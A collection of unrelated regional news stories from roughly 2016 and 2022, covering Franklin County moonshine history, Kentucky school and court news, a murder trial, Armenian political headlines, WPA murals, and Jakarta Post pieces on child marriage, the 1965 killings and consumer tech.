In 1999 sixteen 800-gallon stills were found in Craig County, each producing 120 gallons of whiskey every five days. This operation was broken up after eight months. Extrapolated, this amounts to over 100,000 gallons a year selling at $8.25/gallon. Franklin County remained a center for operations.

During the 1980s, three trucks supplied 4.5 million pounds of sugar each, mostly to Franklin County. Some was sold legally to state institutions and bakeries at bargain prices as a cover-up for the high utilization here.

Today, the spirit is alive. We now have two legal moonshine distilleries here in Franklin County. The future will determine whether they will outdo their predecessors to maintain the title of The Moonshine Capital of the World.

In 1964, while I was a college student and my best friend and later partner Dr. Jack Bumgardner was in high school, we decided to go to the Worlds Fair in New York City. Getting there at 5 a.m., we didnt want to miss anything, so early that morning we set out for the Statue of Liberty. Crossing Whitehall Street near the ferry, we were pulled aside by a policeman for jay walking. After writing a ticket, he inquired if we did not see the Dont Walk sign. I told him back home if no cars were coming, we simply walked across the street. He inquired Where are you from? I answered Franklin County, Virginia. Quickly he quipped, Isnt that where all that moonshine comes from? Mind you, thats downtown Manhattan in New York City. He was very nice, asked when we arrived, then proceeded to take us down to the Dont Walk sign and explain the operations and instructions and wished us a pleasant stay. As I found out early in college, there are real advantages to just being a plain ole country boy and nothing more.
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By Gleaner Staff

Kindergarten and preschool registration for the 2016-17 Henderson County school year begin Monday.

Children who attend Thelma B. Johnson Early Learning Center will have their paperwork  i.e. immunizations, birth certificate, eye exam, etc.  forwarded to their receiving elementary school. Children who are not enrolled at the ELC should register their children at the local elementary school which they plan to attend.

Children who are five years old on or before Oct. 1, 2016, are eligible to attend kindergarten for the 2016-2017 school year.

All elementary schools will take registration from 7 a.m. to 4 p.m. each day. Each elementary school will have one night each week to register during the evening. To find out dates and times for evening registrations, please contact that particular school.

People who have questions about which school is considered their local school should contact the Henderson County Transportation Department at 270-831-5120.

Before the first day of school on Aug. 10, parents/guardians will need to provide the following: a state-issued copy of the birth certificate; updated Kentucky Immunization Certificate; current physical on Kentucky form, which parents have 30 days from enrollment to complete and provide this to the school; vision exam required by Jan. 1 of the kindergarten year; and Kentucky dental screening exam by Jan. 1 of the kindergarten year.

Every kindergarten student enrolled in Henderson County Schools will receive a notice for a free mandatory screening, which will take place this summer.

Parent and guardians can complete the registration packet to enroll their children in the Early Learning Center starting Monday. Registration will take place at the Early Learning Center, located at 631 N. Green Street in Henderson.

The preschool program is income based. Tuition spots will also be available.

Children will need to meet the age requirement of four years old on or before Aug. 1. If your child does not meet this requirement, some 3-year-old tuition spots may be available. If you believe your child may qualify with a disability, please call 270-854-0140.

Before the first day of school, parents/guardians will need to provide the following: a state-issued copy of the birth certificate; updated Kentucky Immunization Certificate; current physical on Kentucky forms; proof of income  W2, pay stubs, tax returns, proof of child support, etc.

Free developmental screenings will be available for students age 3-4. If interested, sign-ups will be available at registration times.
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By Gleaner Staff

Rebecca Johnson, who has been serving as the interim principal at North Middle since January, has been named the school's principal.

North's site-based decision-making council unanimously selected Johnson when they met Thursday afternoon. Her position is effective immediately, according to a news release.

"I am very intrigued by the challenge of continuing the work started in January at North Middle," she said. "Together, we can continue to build a strong foundation for our students."

Johnson began her career with Henderson County Schools in 1988 as an elementary teacher at Bend Gate Elementary. She also taught at East Heights Elementary before serving as staff developer at Audubon Elementary in Daviess County Public Schools.

She returned to Henderson County Schools in 2008 as assistant principal at South Middle School before taking the position of director of instruction in 2014.

She was named interim principal at North after first-year principal Curtis Shelton resigned to take over as assistant principal at Central Academy.

Johnson received her bachelor of science degree in education from the University of Southern Indiana and went onto receive her master's degree in education from Indiana State University and Rank 1 Certificate in school administration from Murray State University.
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By Jack Brammer, Lexington Herald-Leader

Kentucky Attorney General Andy Beshear agreed Thursday to a proposal by Gov. Matt Bevin's general counsel to set aside about $18 million that would have gone to Kentucky's universities and colleges until a judge rules on the legality of Bevin's decision to cut their budgets midyear.

Franklin Circuit Judge Thomas Wingate said he would sign the agreement between Bevin and Beshear, who is challenging Bevin's authority to make the cuts. Bevin's attorney, Steve Pitt, said the document should be ready early next week.

Beshear said the agreement is "a very favorable interim step." Pitt called it "a good recommendation."

The agreement meant that Wingate did not make a ruling on the immediate injunction Beshear had sought, which would have forced Bevin to release the money.

In late March, Bevin had cut state spending for the current fiscal year, which ends June 30, by $41 million for colleges and universities. Bevin said the money would be used to aid the state's cash-strapped public pension programs.

On Wednesday, Bevin reduced his 4.5 percent midyear budget cut for universities to 2 percent, releasing more than $23 million to public colleges and universities. He eliminated the budget cut entirely for Kentucky State University, which had warned that it might have to close.

Beshear said he was pleased that Bevin will set aside the money until Wingate answers the question of whether Bevin had the legal authority to make midyear cuts even though there is no revenue shortfall.

Wingate said he would rule on that question in a few weeks.

During the court hearing, Pitt argued that Beshear's lawsuit is premature. He said there are about 10 weeks left in this fiscal year.

"We don't know what the governor is going to do," he said.

Pitt also said that all university presidents except KSU President Raymond Burse had agreed to a 2 percent cut this fiscal year, if it is determined to be legal.

Beshear told reporters after the hearing that it would set "a dangerous precedent" if a governor could make cuts in a state budget that the legislature already has enacted without any shortfall in state revenue.

Also during the hearing, Wingate heard arguments by Pierce Whites, an attorney in House Speaker Greg Stumbo's office, about why three Democratic state representatives from Louisville  Jim Wayne, Mary Lou Marzian and Darryl Owens  should be allowed to intervene in the case.

Bevin attorney Chad Meredith contended that the three lawmakers lack standing to be part of the lawsuit. He said that Stumbo had previously told the Lexington Herald-Leader that he lacked standing to be in the lawsuit.

Whites disputed that and said there has been precedent for lawmakers to intervene in such cases.

The judge said he would rule later on their request to intervene.

At the beginning of Thursday's hearing, Wingate disclosed that some of his family members work in state government, including his wife, who is a career employee in the workers' compensation division of the attorney general's office, and a brother-in-law in the state's veterans affairs office.
By Beth Smith of The Gleaner

Tweets by @BethSmi35461717

A well-lit house, a functioning burglar alarm only the defendant heard, stories about an intruder and a malfunction gun were among the factors police said led to a murder charge against 28-year-old Amber Sullivan.

During the third day of the trial, Commonwealth's Attorney Bill Markwell called a key witness to the stand  Henderson Police Detective Shannon Troutman.

Troutman is the lead investigator on the case in which Sullivan is accused of killing her childhood sweetheart and husband of 11 years, Zac Sullivan, 29, on June 7, 2015, at their home 517 N. Main St.

Markwell asked Troutman to discuss some of his observations after arriving on the scene in the early hours of June 7.

Troutman said Amber Sullivan was uninjured, no scratches or bruises, but did appear to be "intoxicated."

He said he didn't interview Sullivan at the scene, but did hear her say "I didn't know the gun was loaded."

"She said she thought there was an intruder in the house because the alarm went off," Troutman said.

"When you entered the house did an alarm go off?" Markwell asked.

"No," Troutman said.

In an interview later at the police department, "She told me that before the shooting she'd fallen asleep and Zac woke her up to tell her Andrew May was coming over. She told me she (Facebook) messaged May and told him not to come. After that she said she fell asleep. She said she heard an alarm. It scared her, she woke up and immediately went to the dresser. She grabbed Zac's gun, and walked out of the bedroom into the hallway and the 'd--- thing just went off.'"

"Then she said she looked on the stairwell and saw Zac laying there and thought he'd had a seizure. Then she said she saw blood and realized what had happened," Troutman testified.

"I asked her if the alarm was still going off (after the shooting) and she said she didn't remember. She said the children were in bed and the alarm woke them up. But she also said they were in bed when the shooting occurred."

Troutman said she later modified the story.

"She said she didn't know if Zac had turned the alarm off and if that was the noise she heard," Troutman said. "The alarm is ear-piercing because we contacted ADT to help sound the alarm, and we couldn't bear to stand in the house anywhere it was so loud. We went outside to see if we could hear it and we could. It was that loud. We surveyed the neighborhood on June 9 and spoke to neighbors and not a single one said they heard an alarm."

Troutman said during the interview she made different comments about the gun police said was used to kill Zac Sullivan: a Glock 19 equipped with a laser sight.

"She said she retrieved his gun from the top of the dresser. She said on two different occasions that after grabbing the gun she immediately went into the hallway. Another statement was she grabbed his gun because her gun isn't in the drawer where she normally kept it," Troutman said.

"That was odd, because (the daughter) had taken an officer to the drawer and said 'this is where mom keeps her gun' and that's where the officer found her gun," Troutman said.

During the investigation, Troutman said he discovered that Sullivan had sent a Facebook message at 12:36 a.m. to a friend of Zac Sullivan's who was coming to the house. The friend, Andrew May, sent a message back at 12:38 a.m.

Troutman said the 911 call about the shooting came in at 12:43 a.m.

Troutman testified that while checking Amber Sullivan's phone he found that she'd made about five videos from the night of June 6 leading up to the shooting on June 7. He said the videos depicted an ongoing "heated argument" between Zac and Amber Sullivan in which they used "appalling language toward each other and toward the children."

During cross-examination, defense attorney Brian Ousley asked Troutman if "he had personal knowledge of what happened at 517 N. Main St., before he got there."

"No," Troutman said.

"You review the evidence and come to conclusion about what happened," Ousley said.

"Yes, with help of the Commonwealth's Attorney's Office," Troutman said.

Ousley also asked about the videos Troutman viewed on Amber Sullivan's phone.

"On the videos was it apparent he (Zac) was intoxicated?"

"Absolutely," Troutman said.

"You said there is foul language and a lot of it is Zac using foul language toward his family and even (one of the daughters) is using the foul language," Ousley said.

The detective said yes that's what he heard on the videos.

"You've concluded from the videos that there was an argument," Ousley said. "Are you gleaning anything else from them?"

"Just that there was a very heated argument on the night Zac was shot dead," Troutman said.

Ousley then questioned if Troutman accurately depicted Sullivan's statements in his report.

Troutman said when he knew "100 percent" she said something, he quoted it in his statement. Otherwise, he'd use his own words to describe what she'd said.

"Do you think it's appropriate in a case which carries a penalty of life in prison that you use your own words?" Ousley asked.

The defense then asked if Troutman remembers Sullivan saying that she'd been attacked in her home by her husband's brother and that "she'd been diagnosed with PTSD."

"I believe so," Troutman said.

"But you didn't find it necessary to say that in your initial statements or in your report?" Ousley said. "It seems you remember to put only things in your narrative that would harm her."

"I just told you, I put some things in there she said had happened," he said.

The prosecution rested its case with Troutman. The defense began its case with him.

Ousley called Troutman as his first witness and played the video of Sullivan's initial police interview at the department.

Ousley also called Sullivan's stepfather, Wayne Stone, and their expert gun witness J.B. Wood. Wood was asked what he knew about Glocks.

"I was the first person (in the U.S.) to test fire and write an article about the Glock," he said.

"I'll take it then that you're familiar with the mechanics of the Glock," Ousley said.

"Absolutely," Wood said, adding that he'd examined the Glock 19 that was allegedly used to kill Zac Sullivan.

Ousley asked Wood about the stove-piped cartridge.

Wood said it could be caused by a defective cartridge, a defective gun or by someone holding the gun loosely.

"Since it worked at the Kentucky State Police lab, I'd say it was held too loosely," he said.

Ousley asked if a person can take "dead aim" and hold a gun loosely.

"Held that loosely, accurate aimed firing would be about impossible," Wood said.

In cross examination, Markwell asked if Wood became a gunsmith by being an apprentice with someone or if he learned on his own.

"I learned on my own," Wood said, who also added that he preferred being called a technical witness and not an expert.

"Did you test the gun yourself," Markwell asked.

"No," Wood said.

"How long did you actually have the gun (in question) in your hands?" Markwell said.

"I don't know."

"It was a half an hour," Markwell said.

"You wrote most of your report before you saw the gun didn't you?" Markwell said.

"Yes," Wood said.

The defense rested its case.

The trial will resume Friday morning with closing arguments and jury deliberation.
Trick-or-treat, walk Ed Stone's Haunted Halls and more this week in SE Iowa

Your guide to getting off the couch and out the door this week in Southeast Iowa.
SUBSCRIBERS OF UCOMS ALL TIME BEST OFFER TO ENJOY ADDITIONAL BENEFITS

Armenia-Azerbaijan: EU sets up monitoring capacity along the international borders

PACE co-rapporteurs on Armenia concerned by reports of alleged war crimes or inhuman treatment perpetrated by Azerbaijans armed forces

There is still 35% gender pay gap: Sona Ghazaryan

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Global Finance Names Ameriabank the Safest Bank in Armenia

Mikayel and Karen Vardanyans provided 136 million AMD support for the overhaul of the Myasnikyan statue, which was in unsafe state of disrepair

Believe me, as a representative of a country which uses the Schengen system very often, it is quite important. Vardanyan

I really look forward to having answers from the Azerbaijani side for these alleged gross human rights violations: Secretary General

I call on Armenian and Azerbaijani parliamentarians to use this Assembly as an agora of opportunities President Tiny Kox

UCOMS SPECIAL OFFER OF THE UNLIMITED INTERNET IS NOW TERMLESS

There is no place for the death penalty in a State that respects human rights: PACE General Rapporteur

EU and CoE call on two Member States that have not yet acceded to this Protocol  Armenia and Azerbaijan  to do so without delay

An urgent debate requested on "The military hostilities between Armenia and Azerbaijan".

UCOM AND PES-PES CONTINUE COOPERATION WITHIN THE FRAMEWORK OF EDUCATIONAL PROJECT

The statement of the meeting between Prime Minister Pashinyan, President Aliyev, President Macron and President Michel of October 6, 2022

Largest Corporate Bond Program at the Securities Market of Armenia Completed Successfully

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The statement of the Defender on the video of the execution of Armenian PoWs by the Azerbaijani armed forces

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STATEMENT BY SECRETARY ANTONY J. BLINKEN

This criminal act is another proof that the Armenophobia policy. Tatoyan

Nikol Pashinyan, Nancy Pelosi discuss a number of issues related to the Armenian-American agenda and regional developments

Delegation by Nancy Pelosi Accompanied by Alen Simonyan Visits Tsitsernakaberd Memorial Complex

Speaker of the U.S. House of Representatives Nancy Pelosi Arrives in Yerevan

Armenian Revytech, global technology leader SAP and financial services software specialist SAP Fioneer sign a cooperation agreement

With 120 million drams donated by Mikael Vardanyan, the defenders of the homeland will be treated in a new building

OSCE Chairman-in-Office and OSCE Secretary General call for immediate cessation of hostilities along Armenia-Azerbaijan border

Statement by the Ministry of Foreign Affairs of the Republic of Artsakh

USA Embassy Message for U.S. Citizens

ANCA Issues National Call to Action to Stop Taxpayer Funding of Aliyevs Aggression
The eyes of the world were once again on the UK this morning, as Queen Elizabeth was laid to rest 
NORWALK  Eighty-one years ago, President Franklin Roosevelt decided to save his country from the Great Depression by arming it  with artists.

And the remnants of that effort can be found in more than 30 murals around Norwalk.

He believed that he had to bring America together. He believed that you have to keep artists off the streets and using their talents and skills and he was determined to do that. And as I show in this film, by 1939 we were essentially out of the Depression, said Michael Maglaras, a documentary filmmaker of 217 Films from Ashford.

The Norwalk Arts Council, Historical Society and Westport Historical Society will be screening Maglaras film Enough to Live on: The Arts of the WPA at 6:30 p.m. May 4 at Norwalk Community Colleges PepsiCo Theater.

Roosevelts Works Progress Administration, which commissioned thousands of artists across the country, funded more than 50 murals in Norwalk. With 31 murals in City Hall alone, the town is considered as having one of the highest concentrations of restored Depression-era art in the country.

When we look at a piece of WPA art, we remember something fundamental of America: the breadth and depth of our artistic heritage, said Maglaras.

The event starts with a 5:30 p.m. meet-and-great with Maglaras, producer and director, and his co-producer and wife, Terri Templeton. Its part of NCCs monthly film series. Its free and open to the public.

Im hoping to give a hardworking filmmaker an audience, said Gary Carlson, English Professor at NCC and founder of the NCC film series program. Especially when hes telling the story of a time when the government thought the arts were important enough to sponsor.

The Norwalk Historical Society and Arts Commission reached out to Maglaras after finding out that his team had been scoping out Norwalk art to potentially include in the documentary.

Though the art was not featured in the end, a Norwalk native was. Robert Reynolds, 91, whose father lost his job during the depression, speaks in the film about seeing artists at the post office painting federally-commissioned murals and explains how that affected him.

It shows the value that art had been and always has to ground us, to center us, to remind us that there are things greater than our particular trouble on that particular day, said Maglaras. The one thing that the WPA federal art project did, it gave someone a chance to look at a work of art and for a moment, by grounded in something lasting and important.

He spent 14 months working on this film and has shown it at a handful of locations around Connecticut. Maglaras said he and Templeton are the only American filmmakers that have been asked four times to screen their work at the National Gallery of Art in Washington.

Its easy to despair, to say How can we make it right? How can we make it better? said Maglaras.  But what I hope this does is make people feel upbeat about Americas future. We are not down, we are not out. We endlessly come back, we are America.
Police chief threatened activist Shahen Harutyunyan

After yesterdays march to the building of the Russian Embassy in Yerevan, police officers in civilian clothes approached civil activist Shahen Harutyunyan and his friends and invited them to a police department to talk to Yerevan Police Chief Ashot Karapetyan. Shahens mother, Ruzanna Badalyan, was with him on Thursday evening, but she was not allowed to participate in the meeting with the chief of Yerevan Police. Karapetyan asked me why I behaved so aggressively and whose photos I burnt during the action. I said those were the photos of three traitors  Putin, Aliyev and Serzh. He said I was acting against the state. I responded that the state has nothing to do with the struggle, there are three people against whom I am fighting, Shahen Harutyunyan said to A1+ The activist says the conversation took place in a tense atmosphere; the chief of Yerevan Police expressed his opinion about rude speeches made during rallies. "He gave me a final warning saying I would be in trouble otherwise. I replied that I am not afraid of problems. Then he [Karapetyan] said: You will be sent [to prison] for years." I said I'm fighting for my ideas. In response, he said I must reconsider the way of fight.
Members of the class of 2016 have less than one month of school remaining.

After almost 13 years, the finish line is in sight.

Unfortunately, there are those who don't quite reach the end in the manner they'd hoped for one reason or another.

Senioritis has sat in - we know, we had it.

And because the light at the end of the tunnel keeps getting brighter, we hope the soon-to-be graduates aren't blinded by it.

Over the next several weeks we'll have proms - Edwardsville High School on April 30 and Metro-East Lutheran High School on May 6.

Then there are the graduations - EHS and MELHS are both on May 21 (the former starts at 3 p.m. and the later at 7 p.m., so Center Grove Road won't be a total madhouse.)

Also, on May 22, Father McGivney Catholic High School will host its first graduation ceremony.

There will be a lot for students and parents to celebrate over the next month or so.

Let's hope those celebrations are conducted responsibly.

Receiving a high school diploma may be a big step toward adulthood, but it's a step taken mostly by 18 year olds.

It's not a license to forget the law or do away with common sense.

It is, however, a symbol that you have accomplished something.

It shows you can handle responsibility.

We ask, members of the Class of 2016, that over the next several weeks and through the summer, you continue to display that responsibility.

You've met the challenges and achieved success. You've expanded your knowledge and learned a lot

Yes, graduation is worth celebrating, but, please, do so wisely.
Southern Illinois University Edwardsville will host Black Lives Matter Reloaded - A Community Dialogue on Microagressions Monday, April 25, in the Morris University Center Conference Center. The SIUE Office of Institutional Diversity and Inclusion will present the event.

Microaggressions are common verbal, behavioral and environmental indignities, whether intentional or unintentional, that communicate hostile or negative slights to marginalized groups, said Venessa Brown, PhD and SIUE associate chancellor in the Office of Institutional Diversity and Inclusion. Research has shown that perpetrators of microaggressions are often unaware that they engage in such interactions when they interact with people of color.
SIUE photo

Southern Illinois University Edwardsville welcomed a record 140 prospective students to campus on Friday, March 25 for Transfer Visit Day. This was nearly triple the number of students who attended the special event one year ago.

We were incredibly enthused to welcome so many students to campus for Transfer Visit Day, said Jennifer Harbaugh, associate director of Admissions at SIUE. Forty percent of new students each fall are transfer students. These students provide a rich perspective that adds great value to our campus community. Their knowledge and experience are tremendous assets.
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Linkedin Missiyah (The Jakarta Post) Jakarta  Fri, April 22, 2016

For hundreds of years, women have been struggling to seize their rights, through organizing themselves and galvanizing a womens movement to push for better government policies, among other things.

However, many women, particularly those from poor rural families, are still vulnerable to dropping out of school, giving them no other option but to settle for work in the informal sector, leaving them exposed to violence.

Denied of protection and security, they can work up to 15 hours a day for only meager wages and are still expected to do household work. The 2013 Social Barometer Survey revealed women are 1.5 times more likely to earn wages lower than Rp 500,000 (US$38.07) per month, compared with men. Given this situation, what is the significance of Indonesias position as the only permanent ASEAN member in the G-20, and the optimism that it will be one of the worlds seven largest economies in the next ten years?

Amid the continued economic growth and rapid development, women remain poor. One factor that perpetuates this cycle among women is child marriage.

One woman in East Lombok, for instance, studied only until second grade and was married at 15. Her two children fared a little better; yet the cycle of poverty may continue for them as with her earnings as a vendor, she only managed to send them to junior high school. As a single parent she tried to avoid the local stigma against widows, and remarried four times. All marriages failed, she said, owing to unfaithful husbands and domestic violence.

This was just one story shared in sessions of Sekolah Perempuan (informal Womens School, facilitated by NGOs) which have been held in Pangkajene islands in South Sulawesi, Gresik in East Java, Jakarta, Kupang in East Nusa Tenggara, Padang in West Sumatra, and other areas.

Unlike these poor women the heroine RA Kartini, born on April 21, 1879, was from a noble family; but was similarly unable to go against her parents, and was forced to enter a polygamous marriage. Since her teenage years she had already tried to resist what was then seen as the inevitable fate for girls, and continued to fight for girls right to education.

According to a 2014 World Bank study, inequality in Indonesia has worsened and it is girls who are bearing the brunt. Children from poor families fall back into poverty as 71 percent of them are likely to drop out of high school. An earlier 2007 study on education by E-net for Justice, a coalition of NGOs, already showed the dropout rate in poor families reached 77.85 percent.

When the Millennium Development Goals expired in 2015, Indonesia had failed to meet the goal of reducing maternal mortality to 108 per 100,000 live births  which were traced to a high rate of child marriage, as well as poor access to safe pregnancy and delivery services.

Child marriage here remains widespread; we rank second among Southeast Asian countries in terms of the number of early marriages. According to the 2010 Basic Health Research, child marriage in Indonesia accounts for 46.7 percent of all marriages.

However, apart from failing to attract wide attention, 137 years after Kartini, whose birthday we commemorate each year as Kartini Day, we also see resistance against the fight to end child marriage. Under the pretext of culture, religion and morality, the issue is conveniently swept under the carpet. The state continues to endorse child marriage through the 1974 Marriage Law, which sets the legal minimum marrying age for girls at 16, while it is 19 for boys.

A Constitutional Court ruling last year turned down a judicial review request of the 1974 Marriage Law. Though advocates for females had urged the minimum marrying age be increased to 18, the law was upheld by the Court even though child marriage largely leads to disruption of the constitutional right to education.

The Court said an increased marriage age would not guarantee a reduction in health problems and divorce. It disregarded Article 31of the Constitution, which states, every citizen should receive mandatory basic education and the government must take responsibility for its financing.

Marriage of children under 18 also flouts the National Development Priorities that explicitly stipulates 12 years of compulsory basic education. Apart from violating the 2003 education law, child marriage contravenes the 1999 Human Rights Law, and the 1984 ratification of the Convention on the Elimination of All Forms of Discrimination against Women.

It also violates the 2002 law on child protection that states that a child is anyone under the age of 18, and other international commitments, as well as the recently adopted Sustainable Development Goals.

If President Joko Jokowi Widodos mental revolution aims to create a new life for the nation, changing mindsets and cultural and political practices are a must to reconstruct a new life for children, especially girls, as the foundation of our future. Lets not leave half of tomorrows generation stuck in the trap of poverty. Child marriage must immediately be ended by transforming mindsets and shedding conservative views that legitimize the practice.

It is now time for the House of Representatives to revise the outdated 1974 marriage law and the education law to guarantee childrens right to education through the 12-year compulsory education policy. Such a move would be a decisive step to break the chains of poverty in Indonesia.

***

The writer is executive director of Kapal Perempuan (Womens Ship) Institute in Jakarta.

---------------

We are looking for information, opinions, and in-depth analysis from experts or scholars in a variety of fields. We choose articles based on facts or opinions about general news, as well as quality analysis and commentary about Indonesia or international events. Send your piece to community@jakpost.com.

Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post.
Euro Ombudsman responds to Azerbaijan's atrocities in Karabakh conflict zone

In its latest issue, the Euro Ombudsman journal published the Interim Public Report of the NKR Ombudsman On Atrocities Committed by Azerbaijani Military Forces Againstthe Civilian Population of the NKR and the Servicemen of the NKR Defence Army on 2-5April 2016. The report analyzes the policies of the Azerbaijani hatred towards people of Armenian origin and its terrible consequences, with some examples of the use of torture and humiliation, which violate all international standards of human rights. The report provides objective assessment of international human rights organizations of Azerbaijan policy of incitement to hatred and violence against people of Armenian nationality. It also represents hate speech in the Azerbaijani media and social networks. At the same time, it represented the opinion of senior officials and other public figures to disseminate and incite hatred and violence. The report presents the violations of international law in the field of human rights and international humanitarian law. From this point of view, a comprehensive analysis of attacks on innocent civilians NKR, as well as the use of torture against servicemen of the NKR Defense and inhuman treatment. International Ombudsman Institute closely cooperates with international human rights organizations, and sends its journal to a number of countries, including former Soviet republics. More details can be found here
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Linkedin Devina Heriyanto (The Jakarta Post) Jakarta  Fri, April 22, 2016

G30S and PKI used to be a pair of infamous abbreviations in the Indonesian public sphere. The army-backed government created the acronyms to name the September 30 movement of the now-defunct Indonesian Communist Party (PKI) in 1965. The events of 1965 involved the murder of six high-ranking army generals followed by the mass killing of hundreds of thousands of PKI sympathizers.

Indonesias National Commission on Human Rights (Komnas HAM) held a two-day symposium called Dissecting the Tragedy of 1965, the Historical Approach on April 18-19. The conference examined the mass killings that took place from 1965-1966 under the pretext of an communist purge through testimony given by experts, survivors of the atrocities and members of the military.

What happened in 1965?

On Sept. 30, 1965, six Army generals were kidnapped, murdered, and buried in Lubang Buaya, Jakarta. The PKI was blamed for this failed coup attempt, thus the G30S/PKI term. The Army special battalion quickly took control and captured PKI leaders. What followed was a systematic killing of PKI members across the country from late 1965 until 1966.

The PKI was disbanded, along with communism and Marxist/Leninism as an ideology.

Before 1965, then-President Sukarno introduced a political concept dubbed NASAKOM (Nationalism, Religion and Communism), since the three were the biggest political factions in domestic politics. PKI was the third largest communist party in the world after the Soviet Union and China.

Why is it a problem?

There was no definite evidence that the PKI killed the generals, or that the group was attempting a coup. Victims were murdered without a fair trial, only based on allegations or accusations that they were communists. The number of casualties is thought to be around 500,000, or even up to 2 million by some calculations.

The involvement of army and the government of Indonesia made the issue even more troubling, showing an abuse of power over fundamental human rights.

Another is the impact of the killing on the families, and the discrimination toward those who were related to the party. More people became victims of torture for their alleged support for communism. The usual scenario was: they were disappeared, tortured and jailed without trial for years, even decades, including the writer Pramoedya Ananta Toer. Even after released, the prisoners could not have a normal life as they had special marks on their ID card.

The government sponsored propaganda against the PKI, starting with the annual viewing of the movie Pengkhianatan G30S/PKI (The betrayal of the Communists) to students (most of the students were children even though the film has gory and traumatic elements in ). The government named the old well Lubang Buaya (the sanctuary of crocodiles) as the Penghianatan PKI Museum and produced by a series of regulations discriminating against people allegedly related to communism.

What has been done by Indonesian government?

1965/1966 marked the transition period between the Old Order (Sukarno) and New Order (Soeharto). The New Order lasted for 32 years. During the New Order, communism was considered taboo. The purge was relatively unknown since it was left out of school textbooks, as opposed to the G30S itself, which was explained in detail with the Army acting as the protagonist.

It was not until Reformasi that discussions regarding the 1965 atrocities sprung up.

Abdurrahman Wahid, widely known as Gus Dur, was the first government official to deliver an apology to the victims. However, his apology was criticized by elements within the Indonesian government. In March 2000, Gus Dur, acting as president, raised the motion to revoke Tap MPR No. XXV/1966 on the disbandment of communism in Indonesia. The motion was rejected.

Under President Megawati Soekarno Putri, Tap MPR No. 1/2003 was passed to reaffirm the ban on communism.

In 2013, Palu Mayor Rusdy Matura apologized to the survivors and families of victims. The apology was demanded by SKP HAM, a human rights organization in Palu. Rusdy admitted that as a boy scout, he had helped the military to guard suspected PKI members during the purge.

Komnas HAM, a human rights body created by government but independent from it, produced a report in 2012. The report shows that the army and government were heavily involved in the massacre. Komnas HAM later proposed recommendations to the Attorney General's Office (AGO), to bring the perpetrators to court and to deliver an apology to the victims, and yet these proposals were dismissed.

Where are the efforts of reconciliation coming from?

Most of the efforts come from grassroots movements.

Syarikat Masyarakat Santri Untuk Advokasi Rakyat (The Muslim Community for Social Advocacy), or Syarikat, was established in 2000 under Nahdatul Ulama. In 2003, the organization started to organize meetings between the victims and those involved in the 1965 massacre. The meetings produced recommendations that were read in front of legislators at House Commission III overseeing legal affairs in 2007. The organization called on the government to apologize and restore national dignity.

Kontras (The Commission for Missing Persons and Victims of Violence) has requested the US government to release documents about what happened in Indonesia during 1965-1966. The US has records about the level of involvement of the US government, according to US-based Human Rights Watch (HRW) executive director Kenneth Roth.

Last year, the International Peoples Tribunal on 1965 was held at the Hague, the Netherlands. The tribunal concluded that the Indonesian government was responsible for the massacres and oppression that followed the events of Sept. 30, 1965. The Tribunal has no power to grant compensation to the victims, as it only serves to open up past human rights violations and offer a chance for victims to testify.

What about the law?

A legal battle in favor of reconciliation and the restoration of dignity has been disappointing. The 2004 Law on the Truth and Reconciliation Commission, which was expected to open up past cases of human rights violations, was revoked after a judicial review by Constitutional Court.

To date, communism remains a crime, according to Law No. 27 1999.

In 2005, a class action suit was filed by the representatives of victims in the Central Jakarta District Court. The lawsuit was filed against then-president Susilo Bambang Yudhoyono and the four previous Indonesian presidents. The lawsuit asked for compensation and rehabilitation. The Central Jakarta District Court rejected the lawsuit, reasoning that the suit should be filed in the State Administrative Court.

What is the current governments position?

During his presidential campaign, President Joko Jokowi Widodo stated in his mission statement that he would work to settle past cases of human rights abuses. However, during his administration, many discussions on human rights were shut down or banned.

For example, in October 2015, a man with Swedish nationality was deported and blacklisted for visiting his fathers grave, a victim of the 1965 massacre. Organizers of the Ubud Writers and Readers Festival (UWRF) had to cancel some events on the 1965 massacre due to pressure from the government, including a screening of the Oscar-nominated documentary The Look of Silence.

Students were prohibited by the Indonesian Embassy at the Hague from attending the International Peoples Tribunal on the 1965 massacre in November 2015 with the threat that their scholarships would be revoked. Attorney General HM Prasetyo stated that there was no need for other parties to be involved in this.

In December 2015, a reading and discussion of a drama script entitled "Family Album: #50years1965", was banned by Jakarta Police.

The symposium in April 2016 was significant because it represented the first effort from the government to discuss the massacre. However, there was pessimism about the governments real intention. Coordinating Political, Legal and Security Affairs Minister Luhut Pandjaitan bluntly stated that the government would not apologize for the massacre. Even more disappointing, Luhut questioned the 500,000 figure, and said: I dont believe the number was more than 1,000. Probably less. (dan)

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Linkedin Ni Nyoman Wira (The Jakarta Post) Jakarta  Fri, April 22, 2016

In celebration of Earth Day, Google has brought back its team of doodlers to tweak the tech company's logo into different environment-related doodles.

Google users can view doodles of tundra and a polar bear, forest and red fox, grasslands and elephant, desert and tortoise, and ocean with coral reef and octopus that has Google-shaped tentacles. The images will randomly change each time user visits Google page.

For Google, Earth Day transcends culture, language and tradition, according to its official blog post.

The vastness of Earths diversity makes it an intimidating topic, but in the end I chose to highlight Earths five major biomes: the tundra, forest, grasslands, desert and coral reefs, said doodler Sophie Diao, adding that people could keep refreshing their Google page to marvel at Earths beauty from different sides.

Google has produced creative doodles since 2000 for Bastille Day, although the concept itself was introduced in 1998. It currently has a collection of more than 2,000 doodles created by illustrators, called doodlers, and engineers.

Among Google's doodles related to Indonesia include Indonesian heroine of women's emancipation Raden Ajeng Kartinis birthday and total solar eclipse 2016. (kes)
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Linkedin Ni Nyoman Wira (The Jakarta Post) Jakarta  Fri, April 22, 2016

A new color option of pink-gold has been made available by Samsung for its latest smartphones, Galaxy S7 and the S7 edge.

Pink-gold was chosen due to its sense of comfort, the company stated in a press release, adding that the hues glitter and shimmer as if illuminated from inside their glass surfaces.

The earlier products were available only in black onyx, gold-platinum, white pearl and silver titanium.

Powered with Marshmallow, the latest Android operating system, both Galaxy S7 and the S7 edge are water resistant up to 1 meter in depth for 30 minutes and equipped with a wireless charging feature and 32GB of memory capacity. (kes)
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Linkedin Marguerite Afra Sapiie (The Jakarta Post) Jakarta  Fri, April 22, 2016

National Police chief Gen. Badrodin Haiti's statement that a Densus 88 officer kicked terror suspect Siyono in the chest serves as a turning point in Indonesia's persistent denial that its security apparatus uses torture, Amnesty International has said.

Josef Benedict, Amnesty International's Director of Campaigns for Southeast Asia, said Badrodin's confirmation brought a light of hope in attempts to reveal the truth behind the impunity culture within Indonesias security forces.

The government should order the formation of a robust and independent inquiry to investigate how widespread the use of torture has been all along, Benedict said in a statement received by thejakartapost.com on Thursday.

